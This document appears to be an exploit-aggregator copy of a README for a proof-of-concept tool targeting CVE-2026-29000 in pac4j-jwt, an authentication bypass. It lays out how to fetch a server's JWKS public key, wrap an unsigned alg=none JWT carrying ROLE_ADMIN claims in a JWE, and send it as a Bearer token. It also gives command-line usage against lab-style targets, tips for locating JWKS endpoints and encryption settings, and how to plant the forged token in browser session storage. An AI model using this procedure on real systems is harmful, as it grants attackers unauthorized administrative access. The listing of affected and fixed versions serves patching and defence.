## https://sploitus.com/exploit?id=C1584E98-D17D-541C-95E4-E1976A04C575
# pac4j-jwe-forge (CVE-2026-29000)
Proof-of-concept for CVE-2026-29000. Targets pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3.
The vulnerability is straightforward: the library accepts a `PlainJWT` (unsigned, `alg=none`) as long as it's wrapped inside a valid JWE. Since the server exposes its RSA public key through a JWKS endpoint, anyone can encrypt an arbitrary unsigned JWT into a JWE the server will trust โ including one with `ROLE_ADMIN`.
---
## How it works
1. Fetch the RSA public key from the target's JWKS endpoint
2. Build an unsigned JWT (`alg=none`) with whatever claims you want
3. Encrypt it with the server's public key using
4. Send the resulting JWE as a Bearer token
The server decrypts it, trusts the claims inside, and never checks that the inner JWT is unsigned.
---
## Requirements
Python 3.13+ with [uv](https://github.com/astral-sh/uv), or install dependencies manually:
```
pip install jwcrypto requests
```
---
## Usage
```
[uv run / python3] CVE-2026-29000.py --url --jwks [options]
```
**Required:**
| flag | description |
|------|-------------|
| `--url` | base URL of the target, e.g. `http://10.10.11.x:8080` |
| `--jwks` | path or full URL to the JWKS endpoint |
**Optional:**
| flag | default | description |
|------|---------|-------------|
| `--user` | `admin` | value for the `sub` claim |
| `--role` | `ROLE_ADMIN` | role to forge (`ROLE_ADMIN`, `ROLE_MANAGER`, `ROLE_USER`) |
| `--issuer` | `principal-platform` | value for the `iss` claim |
| `--enc` | `A256GCM` | JWE content encryption (`A256GCM` or `A128GCM`) |
**Examples:**
```
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
```
---
## Finding the JWKS endpoint
Not always obvious. Good places to look:
- `/robots.txt` โ often lists restricted or internal paths
- `/api/auth/jwks`
- `/.well-known/jwks.json`
- `/.well-known/openid-configuration`
---
## Finding the right alg/enc
If the token gets rejected, the app might expect a specific encryption algorithm. Check `/static/js/app.js` for something like:
```js
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
```
Then re-run with `--enc A128GCM`.
The token storage method is also usually in there:
```js
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
```
If it's sessionStorage, swap the token directly in DevTools under Application > Session Storage.
---
## Affected versions
- pac4j-jwt < 4.5.9
- pac4j-jwt < 5.7.9
- pac4j-jwt < 6.3.3
Fixed in 4.5.9, 5.7.9, and 6.3.3.